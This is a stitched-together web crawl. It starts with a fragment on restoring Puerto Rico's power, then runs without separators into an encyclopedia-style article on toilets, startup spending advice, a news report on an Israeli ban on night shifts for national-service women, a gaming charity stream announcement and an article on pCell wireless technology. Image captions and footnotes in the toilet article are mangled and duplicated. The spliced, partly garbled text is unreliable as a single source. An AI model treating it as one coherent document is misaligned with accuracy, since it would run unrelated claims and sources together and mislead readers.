The Corps and the Defense Department are working alongside the Federal Emergency Management Agency and Puerto Rico’s local government to restore power to the island, he emphasized.
Restoring power to the island is going to take a massive, long-term rebuild of the power grid, Semonite said.
“So what we are doing is to go all-out and put as many generators in as we can, mainly in public facilities. We got a list from the governor, and all the mayors donated to that list,” the general said. “And the list has got about 428 different requirements on it today.”
A toilet[n 1] is a piece of hardware used for the collection or disposal of human urine and feces. In other words: "Toilets are sanitation facilities at the user interface that allow the safe and convenient urination and defecation".[1] Toilets can be with or without flushing water (flush toilet or dry toilet). They can be set up for a sitting posture or for a squatting posture (squat toilet). Flush toilets are usually connected to a sewer system in urban areas and to septic tanks in less built-up areas. Dry toilets are connected to a pit, removable container, composting chamber, or other storage and treatment device. Toilets are commonly made of ceramic (porcelain), concrete, plastic, or wood.
In private homes, the toilet, sink, bath, or shower may be in the same room. Another option is to have one room for body washing (bathroom) and a separate room for the toilet and handwashing sink (toilet room). Public toilets consist of one or more toilets (and commonly urinals) which are available for use by the general public. Portable toilets or chemical toilets may be brought in for large and temporary gatherings.
Many poor households in developing countries use very basic, and often unhygienic toilets, for example simple pit latrines and bucket toilets which are usually placed in outhouses. Globally, nearly one billion people have no access to a toilet at all, and are forced to do open defecation (particularly in India).[2] Diseases transmitted via the fecal-oral route or via water, such as cholera and diarrhea, can be spread by open defecation. They can also be spread by unsafe toilets which cause pollution of surface water or groundwater. Historically, sanitation has been a concern from the earliest stages of human settlements. The Sustainable Development Goal Number 6 calls for "adequate and equitable sanitation and hygiene for all and end open defecation by 2030".[2]
Overview
The number of different types of toilets used on a worldwide level is large.[1][3] Toilet types can be grouped by:
Having a water seal or not (which usually relates to flushing or not, i.e. flush toilet versus dry toilet)
Being used in a sitting or squatting position (sitting toilet versus squat toilet)
Being located at a household level or in public (toilet room versus public toilet)
People use different toilet types based on the country that they are in. In developing countries, access to toilets is also related to people's socio-economic status. Poor people in low-income countries often have no toilets at all and resort to open defecation instead. This is part of the sanitation crisis which international initiatives such as World Toilet Day draw attention to.[4]
With water as an odor seal
Flush toilet
Flush toilet bowl
A typical flush toilet is a ceramic bowl (pan) connected on the "up" side to a cistern (tank) that enables rapid filling with water, and on the "down" side to a drain pipe that removes the effluent. When a toilet is flushed, the sewage should flow into a septic tank or into a system connected to a sewage treatment plant. However, in many developing countries, this treatment step does not take place.
The water in the toilet bowl is connected to a pipe shaped like an upside-down U. One side of the U channel is arranged as a siphon tube longer than the water in the bowl is high. The siphon tube connects to the drain. The bottom of the drain pipe limits the height of the water in the bowl before it flows down the drain. The water in the bowl acts as a barrier to sewer gas entering the building. Sewer gas escapes through a vent pipe attached to the sewer line.
The amount of water used by conventional flush toilets usually makes up a significant portion of personal daily water usage. However, modern low flush toilet designs allow the use of much less water per flush. Dual flush toilets allow the user to select between a flush for urine or feces, saving a significant amount of water over conventional units. The flush handle on these toilets is pushed up for one kind of flush and down for the other.[5] Another design is to have two buttons, one for urination and the other for defectation. In some places, users are encouraged not to flush after urination. Flushing toilets can be plumbed to use greywater (previously used for washing dishes, laundry, and bathing) rather than potable water (drinking water). Some modern toilets pressurize the water in the tank, which initiates flushing action with less water usage.
Another variant is the pour-flush toilet.[1] This type of flush toilet has no cistern, but is flushed manually with a few litres of a small bucket. The flushing can use as little as 2–3 litres (0.44–0.66 imp gal; 0.53–0.79 US gal).[1] This type of toilet is common in many Asian countries. The toilet can be connected to one or two pits, in which case it is called a "pour flush pit latrine" or a "twin pit pour flush pit latrine". It can also be connected to a septic tank.
Flush toilets on ships are typically flushed with seawater.
High-tech toilet
"High-tech" toilets, which can be found in countries like Japan, include features such as automatic-flushing mechanisms; water jets or "bottom washers"; blow dryers, or artificial flush sounds to mask noises. Others include medical monitoring features such as urine and stool analysis and the checking of blood pressure, temperature, and blood sugar. Some toilets have automatic lid operation, heated seats, deodorizing fans, or automated replacement of paper toilet-seat-covers. Interactive urinals have been developed in several countries, allowing users to play video games. The "Toylet", produced by Sega, uses pressure sensors to detect the flow of urine and translates that into on-screen action.[6]
Astronauts on the International Space Station use a space toilet with urine diversion which can recover potable water.[7]
Vacuum toilet
A vacuum toilet is a flush toilet that requires very little flushing water and is connected to a vacuum sewer system. For example, they are used on planes (aircraft lavatories) and on trains (passenger train toilets).
Without water as an odor seal
Many types of toilets without a water seal (also called dry toilets or "non-flush toilets") exist. These types of toilets do not use water as an odor seal or to move excreta along. For example, from simple to more complex: a bucket toilet (honey bucket), a tree bog or arborloo (two simple systems for converting excrement to direct fertiliser for trees), a pit latrine (a deep hole in the ground), a vault toilet (which keeps all the waste underground until it is pumped out), a container-based toilet, a composting toilet (which mixes excreta with carbon-rich materials for faster decomposition), a urine-diverting dry toilet (which keeps urine separate from feces), and incinerating and freezing toilets.
Dry toilets use no water for flushing. They also do not produce wastewater. Some of these devices are high-tech but many are quite basic.[3]
Pit latrine with direct drop
A poorly maintained pit latrine in Yaounde, Cameroon
A simple pit latrine uses no water seal and collects human excreta in a pit or trench. The excreta drop directly into the pit via a drop hole. This type of toilet can range from a simple slit trench to more elaborate systems with seating or squatting pans and ventilation systems. In developed countries they are associated with camping and wilderness areas. They are common in rural or peri-urban areas in many developing countries. Pit latrines are also used in emergency sanitation situations.
The pit or trench can be dug large enough so that the pit can be used for many years before it fills up. When the pit becomes full, it may be emptied or the hole covered with earth and the pit latrine relocated. Pit latrines have to be located away from drinking water sources (wells, streams, etc.) to minimize the possibility of disease spread via groundwater pollution.
A ventilation improved pit (VIP) latrine adds certain design features to the simple pit latrine which reduces flies from exiting the latrine, thereby reducing the spread of diseases.[1]
Vault toilet
A vault toilet is a non-flush toilet with a sealed container (or vault) buried in the ground to receive the excreta, all of which is contained underground until it is removed by pumping. A vault toilet is distinguished from a pit latrine because the waste accumulates in the vault instead of seeping into the underlying soil.
Urine-diverting dry toilet
Urine diversion toilets have two compartments, one for urine and one for feces. A urine-diverting dry toilet uses no water for flushing, and keeps urine and feces separate. It can be linked to systems which reuse excreta as a fertilizer.
Portable toilet
A line of portable toilets
Portable toilet on top of a mountain in China
The portable toilet is used on construction sites, film locations, and large outdoor gatherings where there are no other facilities. They are typically self-contained units that are made to be easily moved. Most portable toilets are unisex single units with privacy ensured by a simple lock on the door. The units are usually light weight and easily transported by a flatbed truck and loaded and unloaded by a small forklift. Many portable toilets are small molded plastic or fiberglass portable rooms with a lockable door and a receptacle to catch waste in a chemically treated container. If used for an extended period of time, they have to be cleaned out and new chemicals put in the waste receptacle. For servicing multiple portable toilets, tanker trucks (vacuum trucks or honeywagons) are equipped with large vacuums to evacuate the waste and replace the chemicals. Portable toilets can also be urine-diverting dry toilets.
A bucket toilet, also known as a honey bucket, is a very simple type of portable toilet.
Chemical toilet
Chemical toilets collect human excreta in a holding tank and use chemicals to minimize odors. They do not require a connection to a water supply and are used in a variety of situations.
Aircraft lavatories and passenger train toilets were in the past often designed as chemical toilets but are nowadays more likely to be vacuum toilets.[citation needed]
Types by usage posture
Toilets can be designed to be used either in a sitting or in a squatting posture.
Toilet with a pedestal for sitting
Sitting toilets are often referred to as "western-style toilets".[8] Sitting toilets are more convenient than squat toilets for people with disabilities and the elderly.
Squat toilet
A squat toilet (also called "squatting toilet", "natural position toilet", or by many national names) is a toilet of any technology type (i.e. pit latrine, urine-diverting dry toilet, flush toilet etc.) which is used in a squatting position rather than sitting. This means that the defecation posture used is to place one foot on each side of the toilet drain or hole and to squat over it.
Squatting toilets are the norm in many Asian and African countries, and are common in most Muslim countries. They are also occasionally be found in some European and South American countries.
In 1976, squatting toilets were said to be used by the majority of the world's population.[9] However, there is a general trend in many countries to move from squatting toilets to sitting toilets (particularly in urban areas) as the latter are often regarded as more modern.[10]
Usage
Urination
There are cultural differences in socially accepted and preferred voiding positions for urination around the world: in the Middle East and Asia, the squatting position is more prevalent, while in the Western world the standing and sitting position are more common.[11]
Anal cleansing habits
In the Western world, the most common method of cleaning the anal area after defecation is by toilet paper or sometimes by using a bidet. In many Muslim countries, the facilities are designed to enable people to follow Islamic toilet etiquette Qaḍāʼ al-Ḥājah.[12] For example, a bidet shower may be plumbed in. The left hand is used for cleansing, for which reason that hand is considered impolite or polluted in many Asian countries.[13]
There are toilets on the market where the seats have integrated spray mechanicms for anal and genital water sprays (see for example Toilets in Japan). This can be useful for the elderly or people with disabilities.
Accessible toilets
An accessible toilet is designed to accommodate people with physical disabilities, such as age related limited mobility or inability to walk due to impairments. Additional measures to add toilet accessibility are providing more space and grab bars to ease transfer to and from the toilet seat, including enough room for a caregiver if necessary.
Public toilet
A public toilet is accessible to the general public. It may be municipally owned or managed, entered directly from the street. It may be within a building that, while privately owned, allows public access, such as a department store, or it may be limited to the business's customers, such as a restaurant. If its use requires a fee, it is also called a pay toilet.
Depending on the culture, there may be varying degrees of separation between men and women and different levels of privacy. Typically, the entire room, or a stall or cubicle containing a toilet, is lockable. Urinals, if present in a men's toilet is typically mounted on a wall with or without a divider between them. In the most basic form, a public toilet maybe not much more than an open latrine. Another form is a street urinal known as a pissoir, after the French term.
Public health aspects
Toilets should be innovated and "reinvented" to properly address the global sanitation crisis says the Bill and Melinda Gates Foundation
To this day, 1 billion people in developing countries have no toilets in their homes and are resorting to Open defecation instead.[14] The Joint Monitoring Programme (JMP) for Water Supply and Sanitation by WHO and UNICEF is the official United Nations mechanism tasked with monitoring progress towards the Millennium Development Goal relating to drinking-water and sanitation (MDG 7, Target 7c). One target of this goal is to: "Halve, by 2015, the proportion of people without sustainable access to safe drinking-water and basic sanitation" and publishes figures on access to sanitation worldwide on a regular basis.[15] Another organisation which focuses on toilet and sanitation is the World Toilet Organisation which has its founding date, November 19, used for the UN's International World Toilet Day.[16]
Toilets are one important element of a sanitation system, although other elements are also needed: transport, treatment, disposal, or reuse.[1] Diseases, including Cholera, which still affects some 3 million people each year, can be largely prevented when effective sanitation and water treatment prevents fecal matter from contaminating waterways, groundwater, and drinking water supplies.
Example of cholera in England
There have been five main cholera outbreaks and pandemics since 1825. In London alone, the second killed 14,137 people in 1849, and the third took 10,738 lives in 1853–54. In 1849 the English physician John Snow published a paper On the Mode of Communication of Cholera, in which he suggested that cholera might be waterborne. During the 1854 epidemic, he collected and analyzed data establishing that people who drank water from contaminated sources such as the Broad Street pump died of cholera at much higher rates than those who got water elsewhere.
Toilets in developing countries
Flying toilet
A "flying toilet" is a facetious name for a plastic bag that is used as a container for excrement and are then simply discarded. Associated especially with slums, they are called flying toilets "because when you have filled them, you throw them as far away as you can."[17]
Floating toilet
A floating toilet is essentially a toilet on a platform built above or floating on the water. Instead of excreta going into the ground they are collected in a tank or barrel. To reduce the amount of excreta that needs to hauled to shore, many use urine diversion. The floating toilet was developed for residents without quick access to land or connection to a sewer systems.[18] It is also used in areas subjected to prolonged flooding.[19] The need for this type of toilet is high in areas like Cambodia.[20]
Toilet connected to livestock or aquaculture
The pig toilet, which consists of a toilet linked to a pigsty by a chute, is still in use to a limited extent.[21] It was common in rural China, and was known in Japan, Korea, and India. The "fish pond toilet" depends on the same principle, of livestock (often carp) eating human excreta directly.
History
Ancient history
During the third millennium BC, toilets and sewers were invented. The Indus Valley Civilisation in northwestern India and Pakistan was home to the world's first known urban sanitation systems. In Mohenjo-Daro (c. 2800 BC), toilets were built into the outer walls of homes. These toilets had vertical chutes, via which waste was disposed of into cesspits or street drains.[22] Another typical example is the Indus city of Lothal (c. 2350 BCE). In Lothal all houses had their own private toilet which was connected to a covered sewer network constructed of brickwork held together with a gypsum-based mortar that emptied either into the surrounding water bodies or alternatively into cesspits, the latter of which were regularly emptied and cleaned.[23][24]
The Indus Valley Civilization also had water-cleaning toilets that used flowing water in each house that were linked with drains covered with burnt clay bricks. The flowing water removed the human waste.[25] The Indus Valley civilisation had a network of sewers built under grid pattern streets.[26]
Other very early toilets that used flowing water to remove the waste are found at Skara Brae in Orkney, Scotland, which was occupied from about 3100 BC until 2500 BC. Some of the houses there have a drain running directly beneath them, and some of these had a cubicle over the drain. Around the 18th century BC, toilets started to appear in Minoan Crete, Pharaonic Egypt, and ancient Persia.
In 2012, archaeologists found what is believed to be Southeast Asia's earliest latrine during the excavation of a neolithic village in the Rạch Núi archaeological site, southern Vietnam. The toilet, dating back 1500 BC, yielded important clues about early Southeast Asian society. More than 30 coprolites, containing fish and shattered animal bones, provided information on the diet of humans and dogs, and on the types of parasites each had to contend with.[27][28][29]
In Roman civilization, toilets using flowing water were sometimes part of public bath houses. Roman toilets, like the ones pictured here, are commonly thought to have been used in the sitting position. The Roman toilets were probably elevated to raise them above open sewers which were periodically "flushed" with flowing water, rather than elevated for sitting. Romans and Greeks also used chamber pots, which they brought to meals and drinking sessions.[30] Johan J. Mattelaer said, "Plinius has described how there were large receptacles in the streets of cities such as Rome and Pompeii into which chamber pots of urine were emptied. The urine was then collected by fullers." (Fulling was a vital step in textile manufacture.)
The Han dynasty in China two thousand years ago used pig toilets.
Post-classical history
Garderobes were toilets used in the Post-classical history, most commonly found in upper-class dwellings. Essentially, they were flat pieces of wood or stone spanning from one wall to the other, with one or more holes to sit on. These were above chutes or pipes that discharged outside the castle or Manor house.[31] Garderobes would be placed in areas away from bedrooms to shun the smell[32] and also near kitchens or fireplaces to keep the enclosure warm.[31]
Garderobe seat openings
View looking down into garderobe seat opening
Exterior view of garderobe at Campen castle
The other main way of handling toilet needs was the chamber pot, a receptacle, usually of ceramic or metal, into which one would excrete waste. This method was used for hundreds of years; shapes, sizes, and decorative variations changed throughout the centuries.[33] Chamber pots were in common use in Europe from ancient times, even being taken to the Middle East by medieval pilgrims.[34]
Modern history
Bourdaloue chamber pots from the Austrian Imperial household chamber pots from the Austrian Imperial household
Early 18th century British three-seat privvy
19th century thunderbox, a heavy wooden commode to enclose chamber pot
By the Early Modern era, chamber pots were frequently made of china or copper and could include elaborate decoration. They were emptied into the gutter of the street nearest to the home.
In pre-modern Denmark, people generally defecated on farmland or other places where the human waste could be collected as fertilizer.[35] The Old Norse language had several terms for referring to outhouses, including garðhús (yard house), náð-/náða-hús (house of rest), and annat hús (the other house). In general, toilets were functionally non-existent in rural Denmark until the 18th century.[35]
By the 16th century, cesspits and cesspools were increasingly dug into the ground near houses in Europe as a means of collecting waste, as urban populations grew and street gutters became blocked with the larger volume of human waste. Rain was no longer sufficient to wash away waste from the gutters. A pipe connected the latrine to the cesspool, and sometimes a small amount of water washed waste through. Cesspools were cleaned out by tradesmen, known in English as gong farmers, who pumped out liquid waste, then shovelled out the solid waste and collected it during the night. This solid waste, euphemistically known as nightsoil, was sold as fertilizer for agricultural production (similarly to the closing-the-loop approach of ecological sanitation).
The garderobe was replaced by the privy midden and pail closet in early industrial Europe.[36]
In the early 19th century, public officials and public hygiene experts studied and debated sanitation for several decades. The construction of an underground network of pipes to carry away solid and liquid waste was only begun in the mid 19th-century, gradually replacing the cesspool system, although cesspools were still in use in some parts of Paris into the 20th century.[37] Even London, at that time the world's largest city, did not require indoor toilets in its building codes until after the First World War.
The water closet, with its origins in Tudor times, started to assume its currently known form, with an overhead cistern, s-bends, soil pipes and valves around 1770. This was the work of Alexander Cumming and Joseph Bramah. Water closets only started to be moved from outside to inside of the home around 1850.[38] The integral water closet started to be built into middle class homes in the 1860s and 1870s, firstly on the principal bedroom floor and in larger houses in the maids' accommodation, and by 1900 a further one in the hallway. A toilet would also be placed outside the back door of the kitchen for use by gardeners and other outside staff such as those working with the horses. The speed of introduction was varied, so that in 1906 the predominantly working class town of Rochdale had 750 water closets for a population of 10,000.[38]
The working class home had transitioned from the rural cottage, to the urban back-to-back terraces with external rows of privies, to the through terraced houses of the 1880 with their sculleries and individual external WC. It was the Tudor Walters Report of 1918 that recommended that semi-skilled workers should be housed in suburban cottages with kitchens and internal WC. As recommended floor standards waxed and waned in the building standards and codes, the bathroom with a water closet and later the low-level suite, became more prominent in the home.[39]
Before the introduction of indoor toilets, it was common to use the chamber pot under one's bed at night and then to dispose of its contents in the morning. During the Victorian era, British housemaids collected all of the household's chamber pots and carried them to a room known as the housemaids' cupboard. This room contained a "slop sink", made of wood with a lead lining to prevent chipping china chamber pots, for washing the "bedroom ware" or "chamber utensils". Once running water and flush toilets were plumbed into British houses, servants were sometimes given their own lavatory downstairs, separate from the family lavatory.[40] The practice of emptying one's own chamber pot, known as slopping out, continued in British prisons until as recently as 2014[41] and was still in use in 85 cells in the Republic of Ireland in July 2017.[42]
With rare exceptions, chamber pots are no longer used. Modern related implements are bedpans and commodes, used in hospitals and the homes of invalids.
Development of dry earth closets
Before the widespread adoption of the flush toilet, there were inventors, scientists, and public health officials who supported the use of "dry earth closets". One person developing these was the English clergyman Henry Moule, who dedicated his life to improving public sanitation after witnessing the horrors of the cholera epidemics of 1849 and 1854. He invented what he called the dry earth system, somewhat similar to a composting toilet or a bucket toilet. In partnership with James Bannehr, in 1860 he took out a patent for the process (No. 1316).[43] His system was adopted in private houses, in rural districts, in military camps, in many hospitals, and extensively in the British Raj.[43]
Ultimately, however, it failed to gain the same public support in Europe as the water closet, although variations of the design remain today in use (see dry toilet).
Development of flush toilets
Although a precursor to the flush toilet system which is widely used nowadays was designed in 1596 by John Harington,[44] such systems did not come into widespread use until the late nineteenth century.[45] With the onset of the industrial revolution and related advances in technology, the flush toilet began to emerge into its modern form. A crucial advance in plumbing, was the S-trap, invented by the Scottish mechanic Alexander Cummings in 1775, and still in use today. This device uses the standing water to seal the outlet of the bowl, preventing the escape of foul air from the sewer. It was only in the mid-19th century, with growing levels of urbanisation and industrial prosperity, that the flush toilet became a widely used and marketed invention. This period coincided with the dramatic growth in the sewage system, especially in London, which made the flush toilet particularly attractive for health and sanitation reasons.[38]
Flush toilets were also known as "water closets", as opposed to the earth closets described above. WCs first appeared in Britain in the 1880s, and soon spread to Continental Europe. In America, the chain-pull indoor toilet was introduced in the homes of the wealthy and in hotels in the 1890s. William Elvis Sloan invented the Flushometer in 1906, which used pressurized water directly from the supply line for faster recycle time between flushes.
Names
Etymology
La Toilette from Marriage à la Mode series (1743), a young countess receives her lover, tradesmen, hangers-on, and an Italian tenor as she finishes her toilette[46] Infrom Hogarth 'sseries (1743), a young countess receives her lover, tradesmen, hangers-on, and an Italian tenor as she finishes her toilette
Toilet was originally a French loanword (first attested in 1540) that referred to the toilette ("little cloth") draped over one's shoulders during hairdressing.[47] During the late 17th century,[47] the term came to be used by metonymy in both languages for the whole complex of grooming and body care that centered at a dressing table (also covered by a cloth) and for the equipment composing a toilet service, including a mirror, hairbrushes, and containers for powder and makeup. The time spent at such a table also came to be known as one's "toilet"; it came to be a period during which close friends or tradesmen were received as "toilet-calls".[47][50]
The use of "toilet" to describe a special room for grooming came much later (first attested in 1819), following the French cabinet de toilet. Similar to "powder room", "toilet" then came to be used as a euphemism for rooms dedicated to urination and defecation, particularly in the context of signs for public toilets, as on trains. Finally, it came to be used for the plumbing fixtures in such rooms (apparently first in the United States) as these replaced chamber pots, outhouses, and latrines. These two uses, the fixture and the room, completely supplanted the other senses of the word during the 20th century[47] except in the form "toiletries".[n 2]
Contemporary use
The word "toilet" was by etymology a euphemism, but is no longer understood as such. As old euphemisms have become the standard term, they have been progressively replaced by newer ones, an example of the euphemism treadmill at work.[51] The choice of word relies not only on regional variation, but also on social situation and level of formality (register) or social class. American manufacturers show an uneasiness with the word and its class attributes: American Standard, the largest firm, sells them as "toilets", yet the higher priced products of the Kohler Company, often installed in more expensive housing, are sold as commodes or closets, words which also carry other meanings. Confusingly, products imported from Japan such as TOTO are referred to as "toilets", even though they carry the cachet of higher cost and quality. (Toto, an abbreviation of Tōyō Tōki (東洋陶器 Oriental Ceramics), is used in Japanese comics to visually indicate toilets or other things that look like toilets; see Toilets in Japan.)
Regional variants
Different dialects use "bathroom" and "restroom" (American English), "bathroom" and "washroom" (Canadian English), and "WC" (an initialism for "water closet"), "lavatory" and its abbreviation "lav" (British English). Euphemisms for the toilet that bear no direct reference to the activities of urination and defecation are ubiquitous in modern Western languages, reflecting a general attitude of unspeakability about such bodily function.[52] These euphemistic practices appear to have become pronounced following the emergence of European colonial practices, which frequently denigrated colonial subjects in Africa, Asia and South America as 'unclean'. [53][54]
Euphemisms
"Crapper" was already in use as a coarse name for a toilet, but it gained currency from the work of Thomas Crapper, who popularized flush toilets in England.
"The Jacks" is Irish slang for toilet.[55] It perhaps derives from "jacques" and "jakes", an old English term.[56]
"Loo" – The etymology of loo is obscure. The Oxford English Dictionary notes the 1922 appearance of "How much cost? Waterloo. Watercloset." in James Joyce's novel Ulysses and defers to Alan S. C. Ross's arguments that it derived in some fashion from the site of Napoleon's 1815 defeat.[57][58] In the 1950s the use of the word "loo" was considered one of the markers of British upper-class speech, featuring in a famous essay, "U and non-U English".[59] "Loo" may have derived from a corruption of French l'eau ("water"), gare à l'eau ("mind the water", used in reference to emptying chamber pots into the street from an upper-story window), lieu ("place"), lieu d'aisance ("place of ease", used euphemistically for a toilet), or lieu à l'anglaise ("English place", used from around 1770 to refer to English-style toilets installed for travelers).[57][61] Other proposed etymologies include a supposed tendency to place toilets in room 100 (hence "loo") in English hotels,[62] a dialectical corruption of the nautical term "lee" in reference to the need to urinate and defecate with the wind prior to the advent of head pumps,[n 3] or the 17th-century preacher Louis Bourdaloue, whose long sermons at Paris's Saint-Paul-Saint-Louis prompted his parishioners to bring along chamber pots.[63]
Gallery
See also
Notes
^ For a full list of English synonyms, see " toilet " at Wikisaurus ^ eau de toilette ("toilet water") is sometimes used as a sophisticated synonym for Cosmopolitan's parody "If it doesn't say 'eau de toilette' on the label, it most likely doesn't come from the famed region of Eau de Toilette in France and might not even come from toilets at all." The French("toilet water") is sometimes used as a sophisticated synonym for perfume and cologne but is generally received jokingly, as withparody "If it doesn't say 'eau de toilette' on the label, it most likely doesn't come from the famed region of Eau de Toilette in France and might not even come from toilets at all." ^ [ citation needed ] Yachtsmen still tend to refer to their toilets as "loos" rather than "heads".
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Often, a customer's first interaction with your company is via your website. As a founder, you may have spent countless hours and an absurd amount of money perfecting your website and ensuring their online experience is flawless. Now, imagine that you drive a perfectly targeted individual to your website, but the site is down. Your cost of acquisition will likely skyrocket if you are still paying per click to drive the traffic to your now non-accessible site. Or perhaps a potential customer Googles your company's name and a "This site may be hacked" message appears next to your URL. It is very likely the customer will immediately bounce and not return. While researching web hosting platforms, you may notice many shared server options are extremely affordable. But you must also consider their reliability: A hosting service may advertise 99.999% uptime. But that is simply the uptime of their servers, not your website. Driving traffic to your website is expensive, so ensuring your customer is presented with a website that is safe, fast and reliable is key to your online success.
Legal Counsel
When starting a company, there are many places where you can cut corners. But in my experience, legal should not be one of them. Corporate law is confusing even for a seasoned founder, so ensuring you have a top-notch legal team ready to advise and go to bat for you is extremely important. Do your research. Sometimes the most expensive law firm may not be the best match. Most law firms are willing to negotiate on price. Some firms will even represent you in exchange for equity in your venture. You may be tempted to file certain legal paperwork yourself or to use boilerplate documents that you can find online. When you weigh the cost of the legal counsel against the potential expenses that a legal mistake may cost you, paying for legal help may be more cost-effective in the long run.
Equipment
Depending on the market sector, your equipment needs may be limited to a single laptop. But regardless of the scope of your equipment needs, slow or outdated equipment could affect productivity. A founder wants to always be as frugal as possible. But when it comes to equipment, sometimes the bargain brand may end up costing you more than it is worth. A broken piece of equipment can topple a company that is otherwise running like a well-oiled machine. Imagine a sawmill that purchased an underrated blade. If the blade breaks and the lead time on a replacement is several weeks, the entire operation will likely need to temporarily close. If closures happen often enough, the customers (and the staff) may decide to go elsewhere.
Sales and Marketing Talent
Most green entrepreneurs believe that they know everything there is to know about sales and marketing, but unfortunately, that is not always the case. Marketing is more than simply throwing money into a Facebook or Google Adwords campaign. It's about tracking, learning, experimenting and understanding the funnel. Hiring an effective agency or in-house expert to handle your sales and marketing content could make a huge difference. Remember, sales are the lifeblood of every corporation. And without revenue, your company will not survive very long.
Lahava's chairman Benzi Gupstein
Zionist Orthodox Girls In National Civil Service Banned From Working Hospital Night Shifts Due To ‘Race Mixing’ Fears
Shmarya Rosenberg • FailedMessiah.com
18- and 19-year-old Jewish women working in Israeli hospitals as part of their national civilian service have now reportedly been banned by the government from working night shifts.
Why?
The fear, generated by right wing Zionist Orthodox rabbis and activists, that working nights increases the chance that these young women will work with Arabs. That is unsafe, these rabbis and activists say, because the Arabs might seduce them.
The director of Israel’s National Civilian Service Administration, Sar-Shalom Jerbi, reportedly issued the ban almost three weeks ago, +972 reported based on a report by Israel’s Channel 10 News. That ban forbids any national civilian service member to work past 9:00 pm.
“We reached the decision based on concern for our volunteers, and Minister [Naftali] Bennett gave his blessing,” Jerbi reportedly said.
The national civilian service is an alternative to serving in Israel’s military. Most of its members are Zionist Orthodox women.
Jerbi’s decision was made reportedly made after intense pressure from Zionist Orthodox rabbis – including Kiryat Arba’s Chief Rabbi Dov Lior, an alleged racist who endorsed the intentional murder of Arab babies in a time of war. (Lior also defines Israel’s current status as a time of war.)
Also pushing hard for the ban was the anti-miscegenation organization Lehava, which has close links to disciples of the late Rabbi Meir Kahane and employs several of them, including its chairman, Benzi Gupstein. It considers sexual relations between Jews and Arabs – especially between Jewish women and Arab men – to be ‘race-mixing.’
Lehava, Lior and his rabbinic colleagues reportedly began pressuring the government last year they heard that some of these Zionist Orthodox young women were having “intimate relations” with Palestinian-Arab doctors.
But Lehava wasn’t satisfied with Jerbi’s ban.
“Unfortunately, this is too narrow and too late a step. National service should be terminated anywhere there are goyim,” Lehava’s director reportedly said.
UPDATE: Due to inclement weather we will be getting a later start. Follow us on Twitter and Twitch for updates!
Today (Feb. 21) at Noon EST, the KBMOD Pittsburgh crew and friends will be streaming for 12 hours in our initial Extra-Life Charities fundraising push of 2015.
Tune in to our Twitch channel for games such as Just Cause 2, Gang Beasts, Mario Party, NBA JAM, multiplayer arcade titles, Killing Floor, Towerfall and more! All these titles will no doubt bring more moments like the ones in the video above. This will also be the first run of our new streaming PC (we really should name this thing)! We’ll be taking donations live and of course there will be giveaways such as Steam games, CS:GO skins and more.
The demand for data, which doubled in the past year, is expected to multiply by a factor of 25 by 2020. While that year may seem far off, carriers are already scrambling to ease the growing congestion—lobbying the Federal Communications Commission to wipe limits on the purchase of additional low frequency and investing in small tower systems to prevent larger ones from becoming overloaded.
Entrepreneur Steve Perlman's proposed solution, developed over the past decade, is a radically different solution. Instead of spacing out cellular sites so they can send and receive signals with less interruption within a defined radius, his pCell technology is designed to actually take advantage of interference. And as the signals intersect, he says, they create a network that delivers data at speeds 1,000 times faster than what current networks provide.
To visualize how this super-charged wireless network would work, think of conventional cell towers as concession stands at a football game. Using this analogy, ordering and purchasing, say, a hot dog, is similar to how cellular data is transmitted: Uploading and downloading are transactions, carried out on a first-come, first-serve basis. So during peak periods, such as halftime, long lines and gridlock are all but inevitable.
While playing a video on, say, YouTube would typically involve your connected mobile device sending a request to increasingly overtaxed towers, a pCell network would aim to circumvent these kinds of scenarios by routing data between mobile devices and websites through what's called Distributed-Input-Distributed-Output (DIDO), a data transfer technique that uses a cloud-based information center as a middleman. If a smartphone user, for instance, attempts to watch that same YouTube video, the cloud server receives the streaming data immediately and sends it out as customized “radio waveforms” that, regardless of how many other connected devices are in the vicinity, can be transmitted simultaneously, rather than one by one.
With Perlman's method, the requests—like watching a video or clicking on a link—that travel between a device like a smartphone and the cloud server are relayed using a series of small, shoebox-sized "pWave" radio antennas installed nearby.
In this case, having a higher concentration of antennas in a given area is actually a good thing, because interference generates a tiny invisible cell around the device. These "pCells," as Perlman explains it, function as private cell towers that transfer data to each device. In essence, it's kind of like having a hot dog stand all to yourself.
"The pCell is basically this little bubble of full spectrum around each person's phone that no one has to share," he says. "The idea is that instead of you moving around a cell tower, the cell tower follows you."
What makes Perlman's approach particularly disruptive is that it runs counter to how communications technologies work. Efforts to improve data streaming have always operated out of a paradigm that mimalizes signal inteference. In 2011, after experimenting with the concept for several years, Perlman introduced DIDO in a white paper that described how the system would work in practice. His company, Artemis Networks, based out of San Francisco, has since tweaked the pCell technology to ensure it is compatible with existing smartphones with high-speed LTE capabilities. It's also started to demonstrate the technology on video and in person for curious media outlets (albeit within the confines of small, controlled environments like labs and office rooms) in hopes of getting the industry to take notice.
While the technology has its fans, it also has its fair share of skeptics. Steven Crowley, a wireless engineer who consults primarily with foreign carriers, told the New York Times that Perlman's claims “seem difficult to achieve in practice.” CNBC columnist Ina Fried wrote that while Perlman is "no stranger to big ideas," he has "struggled to get mainstream adoption for those technology breakthroughs." (The remark is in reference to the WebTV creator's previous ideas like Moxi, a hi-definition satellite TV recording system, and Onlive, a cloud gaming service; both failed to live up to early hype).
Even if the technology turns out to be feasible, deploying it on a large scale would require a hefty investment from carriers and service providers. They'd not only have to build and run large data centers, but they'd also have the labor-intensive task of outfitting service areas with a sufficient number of pWave antennas.
Still, Perman contends that the budget for setting up a pCell network throughout a city would be about 10 percent of what it costs to erect conventional networks. According to his calculations, eight pWave antennas, which cost $500 each to manufacture, would be sufficient to service customers within the radius of a standard cell tower. And since a large urban city like San Francisco currently has 32 cell sites, a minimum of roughly 256 antennas would be enough to provide wireless Internet access for the entire city's 825,000 residents, provided some entity gets a cloud data center up and running.
Asked if any service providers have expressed interest in licensing the technology, Perlman replied, quite confidently, that several leading firms are "lining up" to discuss the possibility. He added that his company is already collaborating with "major carriers around the world" to run field trials, though he wouldn't divulge specifically who these parties are. Thomas Pica, a Verizon spokesman, told the Times that the carrier was aware of pCell, but didn't say whether it planned to adopt it.
As part of a private trial, the team is in the process of installing a network consisting of 350 "weatherproof" antennas around San Francisco. Perlman hopes, through a series of partnerships, to have the first pCell system running in a U.S. city by the end of the year, with expansion to major markets by the end of 2015. He's also looking into implementing pCell on smaller scales, such as on college campuses, in stadiums or hotels.
Background [ edit ]
